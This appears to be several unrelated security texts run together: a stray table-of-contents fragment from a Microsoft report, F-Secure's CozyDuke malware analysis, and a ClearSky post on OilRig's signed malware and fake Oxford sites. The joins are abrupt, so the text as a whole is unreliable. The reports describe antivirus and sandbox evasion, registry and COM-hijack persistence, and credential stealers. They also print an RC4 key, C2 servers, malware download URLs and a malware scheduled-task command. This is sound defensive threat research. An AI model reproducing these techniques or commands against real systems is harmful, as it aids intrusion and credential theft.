AT botnet Threat categories Threat categories by location Threat families Threat families by platform Home and enterprise threats Security software use Security software use worldwide Security software use by platform Advanced Threat Protection takes malware defense to the next level Safe attachments Safe links Guidance: Defending against malware Malicious websites Phishing sites Target institutions Global distribution of phishing sites and clients Malware hosting sites Global distribution of malware hosting sites and clients Drive-by download sites Guidance: Protecting users from unsafe websites Mitigating risk Malware at Microsoft: Dealing with threats in the Microsoft environment Antimalware usage Malware detections Transmission vectors Malware infections What IT departments can do to protect their users Appendixes Appendix A: Threat naming conventions Appendix B: Data sources Appendix C: Worldwide encounter and infection rates Glossary Threat families referenced in this report Index
COZYDUKE This whitepaper provides an overview of CozyDuke, a set of tools used by one or more malicious actors for performing targeted attacks against high profile organizations, such as governmental organizations and other entities that work closely with these institutions.
The CozyDuke toolset, which we believe has been under active development since at least 2011, consists of tools for infecting targeted hosts, establishing and maintaining backdoor access to the hosts, gathering information from them and gaining further access to other hosts inside the victim organization.
Based on command and control (CC) server information found being used by CozyDuke tools, we believe the CozyDuke toolset is used by at least one malicious actor who also uses, or at the least shares, infrastructure with actors using the known threats, MiniDuke and OnionDuke.
TLP: WHITE F-SECURE LABS SECURITY RESPONSE Malware analysis Whitepaper CONTENTS Introduction 2 The CozyDuke toolset 2 Attack overview  2 Infection vector 2 Target details 2 Timeline 2 Attribution  links 2 Technical Details  3 Initial infection 3 CozyDuke main dropper 3 CozyDuke main component 4 Overview 4 Persistence 4 Configuration data 4 Command and control communication 5 Tasks 5 Modules 6 Executables 6 CozyDuke Evolution 6 CozyDuke Terminology and Naming 7 Appendix A  Sample hashes 8 Appendix B:  IOCs 9 2 COZYDUKE  Malware analysis INTRODUCTION THE COZYDUKE TOOLSET CozyDuke, as referred to in this document, is a set of tools used by one or more malicious actors for performing targeted attacks against high profile organizations.
The core of the CozyDuke toolset is a modular attack platform consisting of a main component augmented by a set of additional modules implementing further functionality.
The CozyDuke toolset also includes multiple kinds of droppers for infecting hosts with CozyDuke or for executing additional tools from the CozyDuke toolset.
Finally, the CozyDuke toolset includes tools and scripts some custom-written, others based on openly available tools  that are used for purposes such as gathering further information from infected hosts or for infecting additional hosts in the same target organization.
ATTACK OVERVIEW Infection vector We have observed CozyDuke being spread via email, which usually contain a link to a compromised website hosting a ZIP file (although in at least one case, the file was hosted on Dropbox).
These files contain an executable that, upon execution, will write to disk and execute CozyDuke, while at the same time presenting the user with a decoy to divert attention.
The decoy is usually an uninteresting PDF, but we have also observed a Flash video of monkeys being presented as the decoy.
Target details We have reason to believe CozyDuke is being used to target governmental organizations and entities that work closely with such bodies.
Timeline We believe the current CozyDuke activity started at the end of January 2015.
Most of the samples we have observed were compiled beginning from the end of January.
However, based on comparisons of recent CozyDuke samples against older samples we have obtained dating back as far as the end of 2011, we believe CozyDuke has been under active development since at least 2011.
Attribution  links We have strong evidence suggesting the group using CozyDuke is the same as - or at the least shares command and control infrastructure with - the group or groups using MiniDuke and OnionDuke.
Firstly, a CozyDuke sample from February of 2012 attempts to contact a CC server at nostressjob.com.
This domain has previously been associated with known MiniDuke CC infrastructure.
This same infrastructure has also been seen in use by OnionDuke.
Secondly, we also have reason to believe CozyDuke has, in some instances, downloaded and executed droppers for DLL files reminiscent of OnionDuke.
Specifically, the DLLs dropped have used file and export names also used by OnionDuke.
Additionally, the strings in the DLLs have been encrypted using the same algorithm used by OnionDuke.
This link is, however, not as conclusive as the infrastructure overlap.
FIGURE 1: CC INFRASTRUCTURE CONNECTIONS BETWEEN COZYDUKE, MINIDUKE AND ONIONDUKE OnionDukeMiniDukeCozyDuke overpict.comgrouptumbler.comnostressjob.com John Kasaipostmastergrouptumbler.com COZYDUKE  Malware analysis 3 ZIP file TECHNICAL DETAILS INITIAL INFECTION Infection with CozyDuke begins with the victim receiving an email containing a link to a ZIP file.
This ZIP file will contain a single executable, usually a self-extracting RAR archive.
Upon execution, it will write two files to disk.
The first file is a decoy.
The decoy has usually been a PDF document but Flash videos have also been observed in some cases.
The second file extracted from the archive is a CozyDuke dropper.
This dropper will then proceed to write to disk the main CozyDuke components as well as an encrypted configuration file used by CozyDuke.
FIGURE 2: THE COZYDUKE INFECTION FLOW Extracts ExtractsExtracts Downloads Malicious link Self-extracting RAR ZIP file CozyDuke main dropper Decoy document CozyDuke components Encrypted configuration file COZYDUKE MAIN DROPPER The main CozyDuke dropper, used for infecting hosts with CozyDuke, begins by checking whether the victim has an anti-virus product installed.
Should an installed product be found, it will be compared to a predetermined list of product names.
If the installed product matches a name on the list, the dropper will immediately exit.
Newer versions of the dropper will perform additional checks to ensure the dropper is not being executed inside a virtual machine or a known malware analysis sandbox environment.
Should either of these checks fail, the dropper will likewise exit immediately.
Next, the dropper will find and decrypt encrypted data stored as two PE resources embedded in the executable.
These resources are named with the hexadecimal identifiers 0x000A and 0x000B.
Both resources are structured similarily.
They begin with a four-byte value specifying the length of the included decryption key.
This decryption key immediately follows the length field.
Finally, the rest of the resource is the encrypted payload.
The encryption used is a simple XOR with a rotating key.
The first resource, 0x000A, contains as its payload a Microsoft cabinet archive.
This archive contains the CozyDuke components that the dropper will later install on the victim system.
The second resource, 0x000B, contains as its payload an XML file with instructions for the dropper on where to install the dropped components and what to  name them.
The dropper will then proceed to write the CozyDuke components to the specified location.
The dropper will additionally copy the system file rundll32.exe to the install location for CozyDuke.
This file will also use a name specified in the droppers configuration file.
Finally, the dropper will use the copy of rundll32.exe to load and execute the CozyDuke main component.
4 COZYDUKE  Malware analysis COZYDUKE MAIN COMPONENT Overview The main component of CozyDuke is a DLL file responsible for orchestrating all of CozyDukes activity on a victim machine.
The main component is executed by the CozyDuke dropper using a copy of rundll32.exe.
The entrypoint function varies, but is always specified in the dropper configuration.
The most important functionalities offered by the main component are establishment of persistence, gathering of basic system information, communication with the CC server and the execution of additional tasks, modules or executables as commanded by the CC server.
Persistence CozyDuke may use multiple techniques for establishing persistence the following is one technique used.
Firstly, CozyDuke may set itself to be executed at system startup by adding a registry value under any of the following registry keys: HKLM\Software\Microsoft\Windows\ CurrentVersion\Run\ HKCU\Software\Microsoft\Windows\ CurrentVersion\Run\ HKLM\Software\Microsoft\Windows\ CurrentVersion\Policies\Explorer\Run HKCU\Software\Microsoft\Windows\ CurrentVersion\Policies\Explorer\Run The name of the registry value will usually be the filename, (without the extension) of the CozyDuke main component.
CozyDuke may also register itself as a Windows service or scheduled task.
Additionally, CozyDuke may utilize a technique known as COM-object hijacking [1] to establish persistence.
To achieve this, CozyDuke will hijack the registry entries for the COM object SharedTaskScheduler.
CozyDuke will modify the registry entries in such a way that any loading of the SharedTaskScheduler COM object will first load a special CozyDuke module that will ensure CozyDuke stays active on the victim host.
Configuration data The configuration data for CozyDuke is stored as a separate RC4-encrypted file that is written to disk by the CozyDuke dropper during initial infection.
The name of the encrypted configuration file on disk has been racss.
dat in all of the observed cases.
The decrypted file is formatted as XML with the UTF-16LE character encoding.
FIGURE 3: SCREENSHOT OF A DECRYPTED COZYDUKE CONFIGURATION FILE COZYDUKE  Malware analysis 5 In all CozyDuke samples from 2015, the configuration data has been encrypted with the RC4 key B5 78 62 52 98 3E 24 D7 3B C6 EE 7C B9 ED 91 62.
In CozyDuke samples from July of 2014, the RC4 key has been embedded in the encrypted configuration file.
In this case, the encrypted configuration file will begin with a 4-byte value specifying the length of the included RC4 key.
This will be followed by the actual key.
Finally, the rest of the file will be the actual configuration data.
Command and control communication CozyDukes main method of communicating with its command and control server is using either HTTP or HTTPS.
The method of communication, as well as the address to connect to, are specified in CozyDukes configuration data.
In the cases we have observed, the configuration data for any single CozyDuke instance has included the details of either one or two CC servers.
Listed above are details of known CozyDuke CC servers.
We believe all of the ones listed are compromised servers.
In addition to its main communication method, CozyDuke also features the ability to use Twitter as a backup CC channel.
In cases where CozyDuke utilizes this functionality, the twitter account to be used will be specified in CozyDukes configuration data.
We have only observed two samples where a backup Twitter account was actually specified in the configuration data.
These accounts were US2515 and monkey_drive.
Tasks CozyDukes primary purpose is the execution of tasks.
These tasks usually involve the execution of modules or executables providing additional functionality.
The main difference between the two is that modules are DLL files loaded in memory by the CozyDuke main component, whereas executables are PE executable files that CozyDuke will write to disk and execute.
For the purpose of managing tasks, the main component of CozyDuke implements 6 commands that the CC server can specify.
These commands are briefly described in Table 2 (overleaf).
Dropper SHA1 Protocol Domain/IP Path Port 75aeaee253b5c8ae701195e3b0f49308f3d1d932 HTTP www.sanjosemaristas.
com /app/index.php 80 75aeaee253b5c8ae701195e3b0f49308f3d1d932  HTTP www.cifss.
org /product_thumb/index.php 80 446daabb7ac2b9f11dc1267fbd192628cc2bac19  HTTP pvt.relance.fr /catalogue/json/index.php 80 87668d14910c1e1bb8bbea0c6363f76e664dcd09 HTTPS 200.119.128.45  /mobile.php 443 87668d14910c1e1bb8bbea0c6363f76e664dcd09 HTTPS 202.206.232.20 /rss.php 443 ea0cfe60a7b7168c42c0e86e15feb5b0c9674029 HTTPS www.getiton.hants.
org.uk /themes/front/img/ajax.php 80 f2ffc4e1d5faec0b7c03a233524bb78e44f0e50b HTTPS www.seccionpolitica.
com.ar /galeria/index.php 80 9b56155b82f14000f0ec027f29ff20e6ae5205c2 HTTPS 200.125.133.28 /search.php 443 9b56155b82f14000f0ec027f29ff20e6ae5205c2 HTTPS 200.125.142.11 /news.php 443 bf265227f9a8e22ea1c0035ac4d2449ceed43e2b HTTPS 203.156.161.49 /plugins/twitter.php 443 32b0c8c46f8baaba0159967c5602f58dd73ebde9 HTTPS 209.40.72.2 /plugins/fsearch.php 443 78e9960cc5819583fb98fb619b33bff7768ee861 HTTPS 210.59.2.20 /search.php 443 78e9960cc5819583fb98fb619b33bff7768ee861 HTTPS 121.193.130.170 /wp-ajax.php 443 ce9d077349638ffd3e1ad68cda76c12cfb024069 HTTPS 208.75.241.246 /msearch.php 443 ac2b5928f46069111f4334f650a7dbf1b5f026d5 HTTPS 183.78.169.5 /search.php 443 ac2b5928f46069111f4334f650a7dbf1b5f026d5 HTTPS 201.76.51.10 /plugins/json.php 443 bf9d3a45273608caf90084c1157de2074322a230 HTTPS 208.77.177.24 /fsearch.php 443 TABLE 1: DETAILS OF KNOWN COZYDUKE CC SERVERS REFERENCE I.   GData Paul Rascagneres COM Object hijacking: the discreet way of persistence: An Analysis of a new persistence mechanism in the wild published 30.10.2014 https://blog.gdatasoftware.com/blog/article/com-object-hijacking-the-discreet-way-of-persistence.html Note: Domain names intentionally broken https://blog.gdatasoftware.com/blog/article/com-object-hijacking-the-discreet-way-of-persistence.html 6 COZYDUKE  Malware analysis Command Purpose Add Add task Delete Delete task Stop Stop task Modify Modify task or configuration Upload Upload data Download Download data The following chapter, CozyDuke Tasks, provides further information on the tasks CozyDuke has been observed executing.
COZYDUKE TASKS Based on samples obtained from our own collections and generously shared to us by a trusted source, we have been able to identify some of the tasks executed recently by CozyDuke.
These tasks can be divided into two categories.
The first consists of CozyDuke modules which are DLL files loaded in memory by the main component of CozyDuke for the purposes of extending CozyDukes functionality.
The second category consists of PE executable files that CozyDuke will write to disk and execute on the infected host.
These executables are usually droppers similar to those used to infect a host with CozyDuke.
In this case, however, instead of dropping CozyDuke, the executables may drop other executables, scripts or DLLs.
Once executed by CozyDuke, these executables function independently of CozyDukes main component.
Modules Listed below are the modules we have observed being used: Module Type Purpose Command execution module Can be used to execute arbitrary commands by invoking C:\ Windows\System32\cmd.exe Password stealer module Will attempt to harvest stored credentials from the victim NTLM stealer module Will attempt to harvest credentials stored on the victim host that are used as part of Windows NTLM user authentication System info module Will attempt to gather comprehensive information on the victim hosts configuration Screenshot module Will take a screenshot of the victim host Executables We have observed executables executed by CozyDuke for the following purposes: Dropping and executing scripts for collecting information and credentials from the victim organizations Active Directory environment Dropping and executing scripts for further penetrating the victim organization with the help of commonly available tools such as Mimikatz and PSExec Dropping and executing additional malware with the same file and export naming conventions as OnionDuke and the same string encryption algorithm as OnionDuke These executables will implement their own methods of CC communication and data exfiltration.
In many cases, the scripts utilized Microsoft OneDrive accounts for data transfer.
COZYDUKE EVOLUTION The earliest CozyDuke sample we have observed so far was compiled on the 29th of December, 2011.
The sample in question was not an actual CozyDuke main component, but a CozyDuke module.
The earliest main component we observed was compiled on the 29th of February, 2012.
The main component in question stores its strings and configuration in an unencrypted form.
Additionally, the configuration is stored embedded in the binary, not as a separate XML file in the manner of newer CozyDuke versions.
Even this oldest main component does however use XML for other purposes via the open-source Pugi-XML library.
The next CozyDuke main component we observed was compiled on the 30th of November, 2012.
By then, the authors had switched to encrypting the strings and the configuration.
However, the configuration was still stored embedded in the binary.
Design-wise, this sample is a bit of an outlier.
Instead of being a DLL file, the main component is actually an EXE that, in addition to the configuration, embeds multiple DLLs that provide additional functionality to the main component.
Apart from the different design, functionally the main component is very similar to other CozyDuke main components.
It is possible the authors of CozyDuke were trying out a new design, but eventually decided to go back to the original.
The next CozyDuke main component we observed, compiled on the 2nd of July, 2014, is again a DLL file.
By now, the authors of CozyDuke had switched from TABLE 2: 6 COZYDUKE CC SERVER COMMANDS TABLE 3: COZYDUKE MODULES COZYDUKE  Malware analysis 7 an embedded configuration to the external XML- formatted configuration file seen today.
We have yet to observe samples from 2013, but we believe CozyDuke to have been under active development as well during that year.
Between 2012 and 2014, the authors of CozyDuke appear to have performed significant refactoring of the CozyDuke codebase, even though functionally the differences are smaller.
Examples of this refactoring include for instance the switch from using the Pugi-XML library to using Microsofts MSXML 3.0 for XML-related functionality.
The latest CozyDuke main component we observed was compiled on the 26th of February, 2015.
The core functionality of the latest sample is very similar to the previous sample from July of 2014, but the authors of CozyDuke have implemented a lot of additional functionality, as the increase in size from 279KB to 820KB would also suggest.
COZYDUKE TERMINOLOGY AND NAMING Based on logging strings, variable naming and PDB strings found in CozyDuke samples, we observed the following: The internal name for CozyDuke is Agent The CozyDuke main components functionality revolves around the execution of tasks that are often associated with modules It is possible that the name Agent is not the original internal name of CozyDuke and that the name was changed sometime in 2011 with the original project name being Agent_NextGen Sometime in 2011, CozyDuke was identified internally as being version 3 PDB strings found in early CozyDuke samples are listed in Table 4 (below).
Compilation timestamp PDB string Mon Feb 13 13:07:04 2012 (UTC) E:\Visual Studio 2010\Projects\Agent_NextGen\Agent2011v3\Agent2011\Agent\tasks\bin\ GetPasswords\exe\GetPasswords.pdb Wed Dec 28 13:23:04 2011 (UTC) D:\Projects\Agent2011\Agent2011\Agent\tasks\bin\systeminfo\exe\systeminfo.pdb Thu Jan 26 13:57:00 2012 (UTC) \\192.168.56.101\true\soft\Agent\tasks\Screenshots\agent_screeshots\Release\agent_ screeshots.pdb TABLE 4: COZYDUKE PDB STRINGS 2012 2013 2014 2015 29/12/11 Oldest known CozyDuke module Unencrypted strings 29/2/12 Oldest known CozyDuke main module 266KB DLL Unencrypted strings Unencrypted embedded configuration 30/11/12 Executable CozyDuke main component 426KB EXE Encrypted strings Encrypted embedded configuration 2/7/14 CozyDuke main component 279KB DLL Encrypted strings Encrypted external configuration 26/2/15 CozyDuke main component 820KB DLL Encrypted strings Encrypted external configuration FIGURE 4: TIMELINE OF COZYDUKE EVOLUTION 8 APPENDIX A APPENDIX A  SAMPLE HASHES 00f67deb6e435c68f8a39336c9effc45d395b134 01d3973e1bb46e2b75034736991c567862a11263 034481acd945028f4521cf0eaa3685c6202f9e19 04aefbf1527536159d72d20dea907cbd080793e3 08facf0ae484f5bc7b066bbdd382e683fdfcba77 0a38765d599865dabc394287e61f5e8f6ac442c5 1051f814b33991a1f8e551759ead44b8ee7fc2c9 1a3825ef1064c2bbea5169671ef62030b00875ca 1d734a26184005603605aab67eba76d7d5ec3b8c 1e02eea130d17b9afb712d846612ab8bd6972183 210bc99275368df7ea179055737cffc3a12a6614 23e20c523b9970686d913360d438c88e6067c157 2564d7d42384bd3dce7257ef4a0a4b0cedac635b 259b4679c26625c452141861014fe2f2c336462b 26d030c93c517d63147f502bf6536c3914698821 29686320a3f06030f7192ca5b4f3eb47e73cb470 29a91e7823046f4ec3fd6b3fd1b442eaa92f3565 31163d35c5a3caa5e82e1d9b0d1b4db8fbdd79fa 32b0c8c46f8baaba0159967c5602f58dd73ebde9 33beb7a410f1cd699733000b5b30b5e4eb2062ba 3583647ef8158e29e3c18413ece70c2851720926 365cbfe32a79ce41b049dd85bb30afc51ba1ea6f 37144694cfa953ab7acd376c033beda45cc95f4d 3a624b196576b03d327b43247a975da44688ffda 3b297f0ca7750c0c74e5f931fec1528fe1ba6bc9 3c8ba7ca3675ecc75855a58b9c0527d067c88f86 3f0be1751afa9cb0fdd6bc6fc9874dd880bc8c1b 41bb403d2549db95cfc6c851ef92ad26bdf2e906 42cfe068b0f476198b93393840d400424fd77f0c 42fadc443025a132f833a4a5ed8a5350f79a86cc 43a979aa6ab08685d9ce949c67e19bebbb3c3559 443bc2e77b10ae64af6321c2c7bfd311c0772503 44406a80f13045442ce6a28ee62a923ac8f8c56a 482d1624f9450ca1c99926ceec2606260e7ce544 4975293c49ca223013088e51b8378e935322fe93 49fb759d133eeaab3fcc78cec64418e44ed649ab 4a16674c799fae6535c82f878f6a37f94ee9a49b 5150174a4d5e5bb0bccc568e82dbb86406487510 55bd71353408cdda1bdbbd54bc70b4c595d70e56 56ac317ed78f8016d59cb41e9283b1c08cbf149f 5bcd74e0c3c661580201e7d8122d7525a1480b4c 5d3b82cdea4ae066efd5d127c7dd222adee62d0b 5d4535df615a30b87b57facf4babf8d506e86a07 5ffe420a3cc848024884db8e2cfed68c47368dae 6502bffbd1324071c7461c50a2552e48084560ae 662d3cb303450abae2b88699c7f48d74f84f0d5a 669b7c98f0f697b91e95804dacdfe55fae3f0a85 69c82f6ca382bd2205d55b89f2e842b4790bda62 6b5ef7b76b35203dd323af49bfa27cfa7e1b6376 6b64ed0f4e39a1c320c7cbd342a93faed9f5df86 71c59eaa445346251467942bac489a9d4e807f7f 75aeaee253b5c8ae701195e3b0f49308f3d1d932 75e03a17d49d1b052770a21520bc13b14fc6c607 7765a0869530c1a17b8fd339bbe55cc4c1bdba30 78e9960cc5819583fb98fb619b33bff7768ee861 7c710cf31f20ef7e0ad1809672255d4edfdff052 7c79e3205323b9917f9eedcd3d5a891d87ddf256 7cda99eefb5150b87278f9bcf6ac0bde534b99e8 80935ac2ab3cf5b2900b49f6982a6a3f4575367c 81affba765aa87a0d0b12b5a213f09fd51e1e9a1 87668d14910c1e1bb8bbea0c6363f76e664dcd09 883292f00e5836f99a1943a6e0164d8c6c124478 8ad2003b99d92dfb9d85912ee6a39c46b1ec8137 8b357ff017df3ed882b278d0dbbdf129235d123d 8ba7932a40008881a4ed975f52271c0b679eaff2 8bc2d5aa1f384d56f3e921bce5326de8ff4dce2d 8c3ed0bbdc77aec299c77f666c21659840f5ce23 8cc326473fd30ab5c97709e5a91fb04e18e72e96 8f1ac45360196a7b5a1680ff839a131394e9d9b4 8f467b32f1ec0f3b2efe10b3fed2a14b16075702 9319bf72000f8e468c182947dd5c82fb8b9ae419 93d53be2c3e7961bc01e0bfa5065a2390305268c 93ee1c714fad9cc1bf2cba19f3de9d1e83c665e2 94520b93510db0dc10387a65e0a46f45ab501226 975b86c329c537f763f94a3f12610304dd358ff8 9b56155b82f14000f0ec027f29ff20e6ae5205c2 9dc6bbc34933ffecbfbb454788bab4230fcc2c65 9e156f41ff9c17692c9eba5bdb67ac14f0c0473f 9f8f1672594a6fbac43793c857dd7718e75f328a a38ea2533e3dfa6339726aafd4bc2bc7e3eec529 a7a00f35797db2db9302625be456671911896d27 a99d8313876015fcf1b783d38fee9e9c3cde088c ac2b5928f46069111f4334f650a7dbf1b5f026d5 b26bc0a3e35c474f7099bd2b066f1680f3394b14 b2b2e5c5a6f8a07f051aab14fbec1f6607888b50 b47e711845d03c389004c912b3fbfc59228bb18c b5e973df0a159ab583fc8923c796c8cbf5b535df ba29768a2452a0e3abde02a903e53a181ee05bc8 bdd2bae83c3bab9ba0c199492fe57e70c6425dd3 bf265227f9a8e22ea1c0035ac4d2449ceed43e2b bf9d3a45273608caf90084c1157de2074322a230 c02b8c2bc15dd8a7110e5f1765716464bf421591 c117608dab3ab632de8110f8981dd7e773c61d05 c3d8a548fa0525e1e55aa592e14303fc6964d28d c3fde950fe7d668805b40b1680d519f20c18b899 c5ef4c31693845d492285e5f1c7ff3c293f99976 c62e840ffe4bba50f6584b33a877475f0ebcf558 c6472898e9085e563cd56baeb6b6e21928c5486d c7b91ff3cc69dab807016aa76d0c261411ccf27d c8fe2296565c211e019cdad3918a5736d4b12d44 caa1083d2f20be0858e8d3d0671c042d0455a657 cb7652aede9b1b7d756019f44c25fb0263498313 ccf83cd713e0f078697f9e842a06d624f8b9757e ce9d077349638ffd3e1ad68cda76c12cfb024069 cebcf2f495c3b95138128d0577dcac5cde29490d d12e4f164a4734e8136da85001750157014d012c d3254f1f4c4def8c023982dfb28fa31e91b69ab5 d5cbf554e4e700b37ddcb026d4407fcd87032d87 d89fc09f1aa72547d4b7f022470b6c8362997a5f daa651188610fd9c5a6987109e7ee5504d72a35d e0779ac6e5cc76e91fca71efeade2a5d7f099c80 e2d0edf2e7d4a09fad732d4113d970a56e9a6667 e76da232ec020d133530fdd52ffcc38b7c1d7662 e99a03ebe3462d2399f1b819f48384f6714dcba1 ea0cfe60a7b7168c42c0e86e15feb5b0c9674029 eb851adfada7b40fc4f6c0ae348694500f878493 efd41300ccf4143d04664715e1de98cb416ffdd1 f2ffc4e1d5faec0b7c03a233524bb78e44f0e50b f33c980d4b6aaab1dc401226ab452ce840ad4f40 f38040c70024fe9e305af5a3687e0d5993bb9e96 f7693e5d39db067d97cd91fb22522f94c59fda3d f7d47c38eca7ec68aa478c06b1ba983d9bf02e15 fb1b1dc288d68f695f88c5ac036b3ab1c4f5e850 feb9424386af47d550b13614c78530bc06ec876e 9 APPENDIX B APPENDIX B:  IOCS Filenames (Note: we believe many of these to be borrowed from legitimate files) agent_wininet_dl.exe amdh264enc32.bin amdh264enc32.dll amdhcp32.dll amdhdl32.dll amdmftdecoder_32.dll amdmftvideodecoder_32.bin amdmftvideodecoder_32.dll amdmiracast.dll amdocl_as32.exe amdocl.bin amdocl_ld32.exe amd_opencl32.dll amdpcom32.bin atiadlxx.bin atiadlxx.dll atiapfxx.exe atibtmon.exe aticalcl.dll aticaldd.dll aticalrt.dll aticfx32.bin aticfx32.dll atidemgy.bin atidxx32.bin atidxx32.dll atieclxx.exe atiesrxx.exe atiglpxx.dll atiicdxx.dat atikmdag.sys atimuixx.dll atiodcli.exe atiode.exe atioglxx.bin atisamu32.dll atiu9pag.bin atiuxpag.dll ativce02.dat ativvaxy_cik.dat ativvaxy_cik_nd.dat ativvsva.dat ativvsvl.dat autorun.dll autorun_com.dll autorun_curver.dll clinfo.exe coinst_13.152.dll observers.dll ovdecode.dll wininetp.dll User agent strings Java/1.8.0_25 Java/1.8.0_26 iTunes/12.0.1 (Windows N) Mozilla/5.0 (Windows NT 6.1 WOW64 Trident/7.0 rv:11.0) like Gecko Mozilla/5.0 (Windows NT 6.1 WOW64 rv:32.0) Gecko/20100101 Firefox/32.0 Mozilla/5.0 (Windows NT 6.1 WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome /34.0.1847.137 Safari/537.36 Mutexes Mtx qdfrty AgentMutex Introduction The CozyDuke toolset Attack overview Infection vector Target details Timeline Attribution  links Technical Details Initial infection CozyDuke main dropper CozyDuke main component Overview Persistence Configuration data Command and control communication Tasks Modules Executables CozyDuke Evolution CozyDuke Terminology and Naming Appendix A  Sample hashes Appendix B:  IOCs
Iranian Threat Agent OilRig Delivers Digitally Signed Malware, Impersonates University of Oxford clearskysec.com/oilrig/ Iranian threat agent OilRig has been targeting multiple organisations in Israel and other countries in the Middle East since the end of 2015.
In recent attacks they set up a fake VPN Web Portal and targeted at least five Israeli IT vendors, several financial institutes, and the Israeli Post Office.
Later, the attackers set up two fake websites pretending to be a University of Oxford conference sign-up page and a job application website.
In these websites they hosted malware that was digitally signed with a valid, likely stolen code signing certificate Based on VirusTotal uploads, malicious documents content, and known victims  other targeted organisations are located in Turkey, Qatar, Kuwait, United Arab Emirates, Saudi Arabia, and Lebanon.
Fake VPN Web Portal In one of the recent cases, the attackers sent the following email to individuals in targeted organisations: The email was sent from a compromised account of an IT vendor.
Similar emails were sent from other IT vendors in the same time period, suggesting the attackers had a foothold within their networks, or at least could get access to specific computers or email accounts.
The link provided in the malicious email led to a fake VPN Web Portal: 1/9 http://www.clearskysec.com/oilrig/ http://www.clearskysec.com/wp-content/uploads/2016/12/Screenshot_1.jpg http://www.clearskysec.com/wp-content/uploads/2016/12/login.jpg http://www.clearskysec.com/wp-content/uploads/2016/12/portal.jpg http://www.clearskysec.com/wp-content/uploads/2016/12/Process-Tree.png http://www.clearskysec.com/wp-content/uploads/2017/01/AI.jpg http://www.clearskysec.com/wp-content/uploads/2017/01/Oxford-Symposia.com_.jpg http://www.clearskysec.com/wp-content/uploads/2017/01/reg3.jpg http://www.clearskysec.com/wp-content/uploads/2017/01/oxford-employee.com_.jpg http://www.clearskysec.com/wp-content/uploads/2017/01/ox.jpg http://www.clearskysec.com/wp-content/uploads/2016/12/Israir.jpg http://www.clearskysec.com/wp-content/uploads/2016/12/Special-Offers.jpg http://www.clearskysec.com/wp-content/uploads/2017/01/oilrig1.jpg Upon logging in with the credentials provided in the email, the victim is presented with the following page: The victim is asked to install the VPN Client (an .exe file), or, if download fails, to download a password protected zip (with the same .exe file inside).
The VPN Client is a legitimate Juniper VPN software bundled with Helminth,  a malware in use by the OilRig threat agnet: JuniperSetupClientInstaller.exe 6a65d762fb548d2dc56cfde4842a4d3c (VirusTotal link) If the victim downloads and installs the file, their computer would get infected, while the legitimate VPN software is installed.
The legitimate and the malicious installations can be seen in the process tree when the file is run in a Cuckoo sandbox.
Malicious processes are marked red (click image to enlarge): The following malicious files are dropped and run: C:\ProgramData\2ED05C38-D464-4188-BC7F-F6915DE8D764\OFFLINE\9A189DFE\C7B7C186\main.vbs dcac79d7dc4365c6d742a49244e81fd0 2/9 http://telussecuritylabs.com/threats/show/TSL20160530-07 http://telussecuritylabs.com/threats/show/TSL20160530-07 https://www.virustotal.com/en/file/a367ccb9ca5a958d012e94ae8122feda9a1a7f23a0c84e2bc5ee35c834900b61/analysis/1483354486/ C:\Users\Public\Libraries\RecordedTV\DnE.ps1 7fe0cb5edc11861bc4313a6b04aeedb2 C:\Users\Public\Libraries\RecordedTV\DnS.ps1 3920c11797ed7d489ca2a40201c66dd4 C:\Windows\System32\schtasks.exe /create /F /sc minute /mo 3 /tn GoogleUpdateTasksMachineUI /tr C:\Users\Public\Libraries\RecordedTV\backup.vbs 7528c387f853d96420cf7e20f2ad1d32 Command and control server is located in the following domain: tecsupport[.
]in A detailed analysis of the malware is provided in two posts by Palo Alto networks and in a post by FireEye, which wrote about previous campaigns by this threat agent.
(
Note that Juniper networks was not compromised nor otherwise involved in the attack, except for the attackers using its name and publicly available software).
Digitally signed malware The entire bundle (VPN client and malware) was digitally signed with a valid code signing certificate issued by Symantec to AI Squared, a legitimate software company that develops accessibility software: Thumbprint: F340C0D841F9D99DBC289151C13391000366631C Serial number: 45 E4 7F 56 0B 01 B6 4E 68 39 5E 5D 79 2F 2E 09 Another Helminth sample, 1c23b3f11f933d98febfd5a92eb5c715, was signed with a different AI Squared code signing certificate: Thumbprint: 92B8C0872BACDC226B9CE4D783D5CCAD61C6158A Serial number:62 E0 44 E7 37 24 61 2D 79 4B 93 AF 97 46 13 48 This suggest that the attackers had got a hold of an Ai Squared signing key, potentially after compromising their network.
Alternatively, the attackers might have got Symantec to issue them a certificate under Ai Squareds name.
[
Update 11 February 2017: In a notification in its website, Ai Squared says that The digital certificate used to certify newer ZoomText and Window-Eyes software products has been compromised.
As a result, our certificate will be revoked on or around January 26th] University of Oxford impersonation The attackers registered four domains impersonating The University of Oxford.
oxford-symposia[.
]com, is a fake Oxford conference registration website.
Visitors are asked to download the University Of Oxford Job Symposium Pre-Register Tool: 3/9 http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/ http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/ https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.html https://www.virustotal.com/en/file/e404f9e9a7c4dc4cf44a4bf3e9738c10dfdc572e5184934af3ec3dd97e18b958/analysis/ http://www.aisquared.com/CertificateFix/ The downloaded file (which is also signed with an AI Squared certificate), is a fake registration tool built by the attackers: OxfordSymposiumRegTool.exe f77ee804de304f7c3ea6b87824684b33 If run by the victim, their computer would get infected, while they are shown this registration process: 4/9 Note that after completing the registration process, the victim is asked to send the form to an email address in oxford-careers[.
]com, which also belongs to the attackers.
Previously the fake website linked to the following documents in a third fake Oxford domain, oxford[.
]in: http://oxford[.
]in/downloads/ls1.doc http://oxford[.
]in/downloads/ls2.doc http://oxford[.
]in/downloads/ls3.doc http://oxford[.
]in/downloads/ls4.do The documents were unavailable during our research, and their content is unknown to us.
The attackers used a forth domain, oxford-employee[.
]com, to host an Oxford Job application website: 5/9 Visitors are asked to Download CV Creator in order To Join University of Oxford staff.
CV Creator is a malicious file hosted at http://www.oxford-careers[.
]com/Files/OxfordCVCreator.exe : OxfordCVCreator.exe 5713c3c01067c91771ac70e193ef5419 When run, the victim is again presented with a tool created by the attackers, this time a University Of Oxford Official CV Creator: 6/9 Both samples mentioned in this section had the following domain used for command and control: updater[.
]li Other incidents In an earlier incident, the attackers sent a malicious excel file impersonating Israir, an Israeli Airline  (the content of the file was copied from the companys public website and we have no indication of it being compromised or targeted): Israel Airline.xls 197c018922237828683783654d3c632a The file had a macro that if enabled by the user would infect its computer.
